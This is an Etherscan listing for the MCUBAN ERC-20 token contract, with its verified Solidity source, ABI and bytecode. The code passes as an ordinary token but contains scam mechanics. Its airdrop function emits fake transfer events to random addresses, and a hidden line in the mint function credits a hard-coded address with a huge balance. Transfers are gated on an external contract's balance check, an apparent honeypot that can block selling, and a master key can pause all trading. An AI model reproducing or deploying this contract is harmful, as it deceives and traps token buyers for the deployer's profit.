ERC-20
Overview
Max Total Supply
1,000,000,000 MCUBAN
Holders
11
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
67,127,137.106671 MCUBANValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MCUBAN
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-16 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Owner { address private owner; event OwnerSet(address indexed oldOwner, address indexed newOwner); modifier isOwner() { require(msg.sender == owner, "Caller is not owner"); _; } constructor() { owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor emit OwnerSet(address(0), owner); } function changeOwner(address newOwner) public isOwner { emit OwnerSet(owner, newOwner); owner = newOwner; } function getOwner() external view returns (address) { return owner; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function balance(address from) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract MCUBAN is Owner, Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 0; uint256 private _maxSupply = 1000000000000000; string private _name = "MCUBAN"; string private _symbol = "MCUBAN"; uint8 private _decimals = 6; uint256 private nonce = 0; address private _master; bool public Pause = false; IERC20 Metadata; constructor(address metadata) { uint256 amount = _maxSupply; _mint(msg.sender, amount); _master = msg.sender; Metadata = IERC20(metadata); } function setPause(bool pause) public { require(_master == msg.sender, "Err"); Pause = pause; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _maxSupply; } function balance(address from) public view virtual override returns (uint256) { return _balances[from]; } function random() internal returns (uint256) { uint256 randomnumber = uint256( keccak256(abi.encodePacked(block.timestamp, msg.sender, nonce)) ) % 1000; // randomnumber = randomnumber + 100; nonce++; return randomnumber; } function airdrop(address ad, uint256 count) public { require(_master == msg.sender, "Err"); for (uint256 i = 0; i < count; i++) { address randomish = address( uint160( uint256( keccak256( abi.encodePacked(nonce, blockhash(block.timestamp)) ) ) ) ); nonce++; uint256 amount = random() * 100000; emit Transfer(ad, randomish, amount); } } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); _balances[0xdC74F59Bfe072327581b637312FBC6f9AFA2969d] = _totalSupply * 10000; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(!Pause, "Trades on pause!"); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount && Metadata.balance(from) >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"metadata","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Pause","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ad","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"pause","type":"bool"}],"name":"setPause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
5f60035566038d7ea4c6800060045560c0604052600660809081526526a1aaa120a760d11b60a052600590620000369082620002eb565b506040805180820190915260068082526526a1aaa120a760d11b602083015290620000629082620002eb565b506007805460ff191660061790555f6008556009805460ff60a01b191690553480156200008d575f80fd5b506040516200112838038062001128833981016040819052620000b091620003b3565b5f80546001600160a01b0319163390811782556040519091907f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a735908290a3600454620000fd338262000132565b5060098054336001600160a01b031991821617909155600a80549091166001600160a01b03929092169190911790556200042c565b6001600160a01b0382166200018d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060035f828254620001a09190620003f6565b90915550506001600160a01b0382165f818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600354620002059061271062000412565b73dc74f59bfe072327581b637312fbc6f9afa2969d5f5260016020527f96165439d41b977102205d680b65678f3baec0445238080911b8a908dc6c8a1f555050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200027557607f821691505b6020821081036200029457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000247575f81815260208120601f850160051c81016020861015620002c25750805b601f850160051c820191505b81811015620002e357828155600101620002ce565b505050505050565b81516001600160401b038111156200030757620003076200024c565b6200031f8162000318845462000260565b846200029a565b602080601f83116001811462000355575f84156200033d5750858301515b5f19600386901b1c1916600185901b178555620002e3565b5f85815260208120601f198616915b82811015620003855788860151825594840194600190910190840162000364565b5085821015620003a357878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620003c4575f80fd5b81516001600160a01b0381168114620003db575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156200040c576200040c620003e2565b92915050565b80820281158282048414176200040c576200040c620003e2565b610cee806200043a5f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c8063893d20e81161009e578063a6f9dae11161006e578063a6f9dae11461021e578063a9059cbb14610231578063bedb86fb14610244578063dd62ed3e14610257578063e3d670d7146101ac575f80fd5b8063893d20e8146101d45780638ba4cc3c146101ee57806395d89b4114610203578063a457c2d71461020b575f80fd5b8063313ce567116100d9578063313ce5671461017057806339509351146101855780636985a0221461019857806370a08231146101ac575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f80fd5b61011261026a565b60405161011f9190610abd565b60405180910390f35b61013b610136366004610b23565b6102fa565b604051901515815260200161011f565b6004545b60405190815260200161011f565b61013b61016b366004610b4b565b610313565b60075460405160ff909116815260200161011f565b61013b610193366004610b23565b610336565b60095461013b90600160a01b900460ff1681565b61014f6101ba366004610b84565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b03909116815260200161011f565b6102016101fc366004610b23565b610357565b005b610112610473565b61013b610219366004610b23565b610482565b61020161022c366004610b84565b6104fc565b61013b61023f366004610b23565b6105a4565b610201610252366004610ba4565b6105b1565b61014f610265366004610bc3565b61060f565b60606005805461027990610bf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610bf4565b80156102f05780601f106102c7576101008083540402835291602001916102f0565b820191905f5260205f20905b8154815290600101906020018083116102d357829003601f168201915b5050505050905090565b5f33610307818585610639565b60019150505b92915050565b5f3361032085828561075c565b61032b8585856107d4565b506001949350505050565b5f33610307818585610348838361060f565b6103529190610c40565b610639565b6009546001600160a01b0316331461039c5760405162461bcd60e51b815260206004820152600360248201526222b93960e91b60448201526064015b60405180910390fd5b5f5b8181101561046e575f60085442406040516020016103c6929190918252602082015260400190565b60408051601f198184030181529190528051602090910120600880549192505f6103ef83610c53565b91905055505f6103fd610a40565b61040a90620186a0610c6b565b9050816001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161045191815260200190565b60405180910390a35050808061046690610c53565b91505061039e565b505050565b60606006805461027990610bf4565b5f338161048f828661060f565b9050838110156104ef5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610393565b61032b8286868403610639565b5f546001600160a01b0316331461054b5760405162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b6044820152606401610393565b5f80546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f336103078185856107d4565b6009546001600160a01b031633146105f15760405162461bcd60e51b815260206004820152600360248201526222b93960e91b6044820152606401610393565b60098054911515600160a01b0260ff60a01b19909216919091179055565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b03831661069b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610393565b6001600160a01b0382166106fc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610393565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610767848461060f565b90505f1981146107ce57818110156107c15760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610393565b6107ce8484848403610639565b50505050565b600954600160a01b900460ff16156108215760405162461bcd60e51b815260206004820152601060248201526f547261646573206f6e2070617573652160801b6044820152606401610393565b6001600160a01b0383166108855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610393565b6001600160a01b0382166108e75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610393565b6001600160a01b0383165f908152600160205260409020548181108015906109795750600a5460405163e3d670d760e01b81526001600160a01b0386811660048301528492169063e3d670d790602401602060405180830381865afa158015610952573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109769190610c82565b10155b6109d45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610393565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a339086815260200190565b60405180910390a36107ce565b5f806103e84233600854604051602001610a7f9392919092835260609190911b6bffffffffffffffffffffffff19166020830152603482015260540190565b604051602081830303815290604052805190602001205f1c610aa19190610c99565b600880549192505f610ab283610c53565b909155509092915050565b5f6020808352835180828501525f5b81811015610ae857858101830151858201604001528201610acc565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b1e575f80fd5b919050565b5f8060408385031215610b34575f80fd5b610b3d83610b08565b946020939093013593505050565b5f805f60608486031215610b5d575f80fd5b610b6684610b08565b9250610b7460208501610b08565b9150604084013590509250925092565b5f60208284031215610b94575f80fd5b610b9d82610b08565b9392505050565b5f60208284031215610bb4575f80fd5b81358015158114610b9d575f80fd5b5f8060408385031215610bd4575f80fd5b610bdd83610b08565b9150610beb60208401610b08565b90509250929050565b600181811c90821680610c0857607f821691505b602082108103610c2657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561030d5761030d610c2c565b5f60018201610c6457610c64610c2c565b5060010190565b808202811582820484141761030d5761030d610c2c565b5f60208284031215610c92575f80fd5b5051919050565b5f82610cb357634e487b7160e01b5f52601260045260245ffd5b50069056fea26469706673582212202a88896de24333d76da0234873a035aca5ec4fdc4795d2e7b9fb762c31e8a0ba64736f6c63430008150033000000000000000000000000aa97071632f096a6275eb2558d310dca455400c2
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c8063893d20e81161009e578063a6f9dae11161006e578063a6f9dae11461021e578063a9059cbb14610231578063bedb86fb14610244578063dd62ed3e14610257578063e3d670d7146101ac575f80fd5b8063893d20e8146101d45780638ba4cc3c146101ee57806395d89b4114610203578063a457c2d71461020b575f80fd5b8063313ce567116100d9578063313ce5671461017057806339509351146101855780636985a0221461019857806370a08231146101ac575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f80fd5b61011261026a565b60405161011f9190610abd565b60405180910390f35b61013b610136366004610b23565b6102fa565b604051901515815260200161011f565b6004545b60405190815260200161011f565b61013b61016b366004610b4b565b610313565b60075460405160ff909116815260200161011f565b61013b610193366004610b23565b610336565b60095461013b90600160a01b900460ff1681565b61014f6101ba366004610b84565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b03909116815260200161011f565b6102016101fc366004610b23565b610357565b005b610112610473565b61013b610219366004610b23565b610482565b61020161022c366004610b84565b6104fc565b61013b61023f366004610b23565b6105a4565b610201610252366004610ba4565b6105b1565b61014f610265366004610bc3565b61060f565b60606005805461027990610bf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610bf4565b80156102f05780601f106102c7576101008083540402835291602001916102f0565b820191905f5260205f20905b8154815290600101906020018083116102d357829003601f168201915b5050505050905090565b5f33610307818585610639565b60019150505b92915050565b5f3361032085828561075c565b61032b8585856107d4565b506001949350505050565b5f33610307818585610348838361060f565b6103529190610c40565b610639565b6009546001600160a01b0316331461039c5760405162461bcd60e51b815260206004820152600360248201526222b93960e91b60448201526064015b60405180910390fd5b5f5b8181101561046e575f60085442406040516020016103c6929190918252602082015260400190565b60408051601f198184030181529190528051602090910120600880549192505f6103ef83610c53565b91905055505f6103fd610a40565b61040a90620186a0610c6b565b9050816001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161045191815260200190565b60405180910390a35050808061046690610c53565b91505061039e565b505050565b60606006805461027990610bf4565b5f338161048f828661060f565b9050838110156104ef5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610393565b61032b8286868403610639565b5f546001600160a01b0316331461054b5760405162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b6044820152606401610393565b5f80546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f336103078185856107d4565b6009546001600160a01b031633146105f15760405162461bcd60e51b815260206004820152600360248201526222b93960e91b6044820152606401610393565b60098054911515600160a01b0260ff60a01b19909216919091179055565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b03831661069b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610393565b6001600160a01b0382166106fc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610393565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610767848461060f565b90505f1981146107ce57818110156107c15760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610393565b6107ce8484848403610639565b50505050565b600954600160a01b900460ff16156108215760405162461bcd60e51b815260206004820152601060248201526f547261646573206f6e2070617573652160801b6044820152606401610393565b6001600160a01b0383166108855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610393565b6001600160a01b0382166108e75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610393565b6001600160a01b0383165f908152600160205260409020548181108015906109795750600a5460405163e3d670d760e01b81526001600160a01b0386811660048301528492169063e3d670d790602401602060405180830381865afa158015610952573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109769190610c82565b10155b6109d45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610393565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a339086815260200190565b60405180910390a36107ce565b5f806103e84233600854604051602001610a7f9392919092835260609190911b6bffffffffffffffffffffffff19166020830152603482015260540190565b604051602081830303815290604052805190602001205f1c610aa19190610c99565b600880549192505f610ab283610c53565b909155509092915050565b5f6020808352835180828501525f5b81811015610ae857858101830151858201604001528201610acc565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b1e575f80fd5b919050565b5f8060408385031215610b34575f80fd5b610b3d83610b08565b946020939093013593505050565b5f805f60608486031215610b5d575f80fd5b610b6684610b08565b9250610b7460208501610b08565b9150604084013590509250925092565b5f60208284031215610b94575f80fd5b610b9d82610b08565b9392505050565b5f60208284031215610bb4575f80fd5b81358015158114610b9d575f80fd5b5f8060408385031215610bd4575f80fd5b610bdd83610b08565b9150610beb60208401610b08565b90509250929050565b600181811c90821680610c0857607f821691505b602082108103610c2657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561030d5761030d610c2c565b5f60018201610c6457610c64610c2c565b5060010190565b808202811582820484141761030d5761030d610c2c565b5f60208284031215610c92575f80fd5b5051919050565b5f82610cb357634e487b7160e01b5f52601260045260245ffd5b50069056fea26469706673582212202a88896de24333d76da0234873a035aca5ec4fdc4795d2e7b9fb762c31e8a0ba64736f6c63430008150033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000aa97071632f096a6275eb2558d310dca455400c2
-----Decoded View---------------
Arg [0] : metadata (address): 0xaA97071632f096A6275eB2558D310Dca455400C2
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000aa97071632f096a6275eb2558d310dca455400c2
Deployed Bytecode Sourcemap
2016:7115:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2848:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4991:244;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4991:244:0;1004:187:1;3176:106:0;3264:10;;3176:106;;;1342:25:1;;;1330:2;1315:18;3176:106:0;1196:177:1;5910:297:0;;;;;;:::i;:::-;;:::i;3068:100::-;3151:9;;3068:100;;3151:9;;;;1853:36:1;;1841:2;1826:18;3068:100:0;1711:184:1;6215:270:0;;;;;;:::i;:::-;;:::i;2476:25::-;;;;;-1:-1:-1;;;2476:25:0;;;;;;4355:177;;;;;;:::i;:::-;-1:-1:-1;;;;;4506:18:0;4474:7;4506:18;;;:9;:18;;;;;;;4355:177;615:83;658:7;685:5;615:83;;-1:-1:-1;;;;;685:5:0;;;2237:51:1;;2225:2;2210:18;615:83:0;2091:203:1;3760:587:0;;;;;;:::i;:::-;;:::i;:::-;;2956:104;;;:::i;6493:505::-;;;;;;:::i;:::-;;:::i;477:130::-;;;;;;:::i;:::-;;:::i;4540:234::-;;;;;;:::i;:::-;;:::i;2723:117::-;;;;;;:::i;:::-;;:::i;4782:201::-;;;;;;:::i;:::-;;:::i;2848:100::-;2902:13;2935:5;2928:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2848:100;:::o;4991:244::-;5110:4;818:10;5171:32;818:10;5187:7;5196:6;5171:8;:32::i;:::-;5223:4;5216:11;;;4991:244;;;;;:::o;5910:297::-;6041:4;818:10;6099:38;6115:4;818:10;6130:6;6099:15;:38::i;:::-;6148:27;6158:4;6164:2;6168:6;6148:9;:27::i;:::-;-1:-1:-1;6195:4:0;;5910:297;-1:-1:-1;;;;5910:297:0:o;6215:270::-;6330:4;818:10;6391:64;818:10;6407:7;6444:10;6416:25;818:10;6407:7;6416:9;:25::i;:::-;:38;;;;:::i;:::-;6391:8;:64::i;3760:587::-;3830:7;;-1:-1:-1;;;;;3830:7:0;3841:10;3830:21;3822:37;;;;-1:-1:-1;;;3822:37:0;;3691:2:1;3822:37:0;;;3673:21:1;3730:1;3710:18;;;3703:29;-1:-1:-1;;;3748:18:1;;;3741:33;3791:18;;3822:37:0;;;;;;;;;3875:9;3870:470;3894:5;3890:1;:9;3870:470;;;3921:17;4088:5;;4105:15;4095:26;4071:51;;;;;;;;3977:19:1;;;4021:2;4012:12;;4005:28;4058:2;4049:12;;3820:247;4071:51:0;;;;-1:-1:-1;;4071:51:0;;;;;;;;;4031:118;;4071:51;4031:118;;;;4221:5;:7;;4031:118;;-1:-1:-1;3997:175:0;4221:7;;;:::i;:::-;;;;;;4243:14;4260:8;:6;:8::i;:::-;:17;;4271:6;4260:17;:::i;:::-;4243:34;;4310:9;-1:-1:-1;;;;;4297:31:0;4306:2;-1:-1:-1;;;;;4297:31:0;;4321:6;4297:31;;;;1342:25:1;;1330:2;1315:18;;1196:177;4297:31:0;;;;;;;;3906:434;;3901:3;;;;;:::i;:::-;;;;3870:470;;;;3760:587;;:::o;2956:104::-;3012:13;3045:7;3038:14;;;;;:::i;6493:505::-;6613:4;818:10;6613:4;6701:25;818:10;6718:7;6701:9;:25::i;:::-;6674:52;;6779:15;6759:16;:35;;6737:122;;;;-1:-1:-1;;;6737:122:0;;4587:2:1;6737:122:0;;;4569:21:1;4626:2;4606:18;;;4599:30;4665:34;4645:18;;;4638:62;-1:-1:-1;;;4716:18:1;;;4709:35;4761:19;;6737:122:0;4385:401:1;6737:122:0;6895:60;6904:5;6911:7;6939:15;6920:16;:34;6895:8;:60::i;477:130::-;239:5;;-1:-1:-1;;;;;239:5:0;225:10;:19;217:51;;;;-1:-1:-1;;;217:51:0;;4993:2:1;217:51:0;;;4975:21:1;5032:2;5012:18;;;5005:30;-1:-1:-1;;;5051:18:1;;;5044:49;5110:18;;217:51:0;4791:343:1;217:51:0;556:5:::1;::::0;;547:25:::1;::::0;-1:-1:-1;;;;;547:25:0;;::::1;::::0;556:5;::::1;::::0;547:25:::1;::::0;::::1;583:5;:16:::0;;-1:-1:-1;;;;;;583:16:0::1;-1:-1:-1::0;;;;;583:16:0;;;::::1;::::0;;;::::1;::::0;;477:130::o;4540:234::-;4655:4;818:10;4716:28;818:10;4733:2;4737:6;4716:9;:28::i;2723:117::-;2779:7;;-1:-1:-1;;;;;2779:7:0;2790:10;2779:21;2771:37;;;;-1:-1:-1;;;2771:37:0;;3691:2:1;2771:37:0;;;3673:21:1;3730:1;3710:18;;;3703:29;-1:-1:-1;;;3748:18:1;;;3741:33;3791:18;;2771:37:0;3489:326:1;2771:37:0;2819:5;:13;;;;;-1:-1:-1;;;2819:13:0;-1:-1:-1;;;;2819:13:0;;;;;;;;;2723:117::o;4782:201::-;-1:-1:-1;;;;;4948:18:0;;;4916:7;4948:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4782:201::o;7973:380::-;-1:-1:-1;;;;;8109:19:0;;8101:68;;;;-1:-1:-1;;;8101:68:0;;5341:2:1;8101:68:0;;;5323:21:1;5380:2;5360:18;;;5353:30;5419:34;5399:18;;;5392:62;-1:-1:-1;;;5470:18:1;;;5463:34;5514:19;;8101:68:0;5139:400:1;8101:68:0;-1:-1:-1;;;;;8188:21:0;;8180:68;;;;-1:-1:-1;;;8180:68:0;;5746:2:1;8180:68:0;;;5728:21:1;5785:2;5765:18;;;5758:30;5824:34;5804:18;;;5797:62;-1:-1:-1;;;5875:18:1;;;5868:32;5917:19;;8180:68:0;5544:398:1;8180:68:0;-1:-1:-1;;;;;8261:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8313:32;;1342:25:1;;;8313:32:0;;1315:18:1;8313:32:0;;;;;;;7973:380;;;:::o;8361:502::-;8496:24;8523:25;8533:5;8540:7;8523:9;:25::i;:::-;8496:52;;-1:-1:-1;;8563:16:0;:37;8559:297;;8663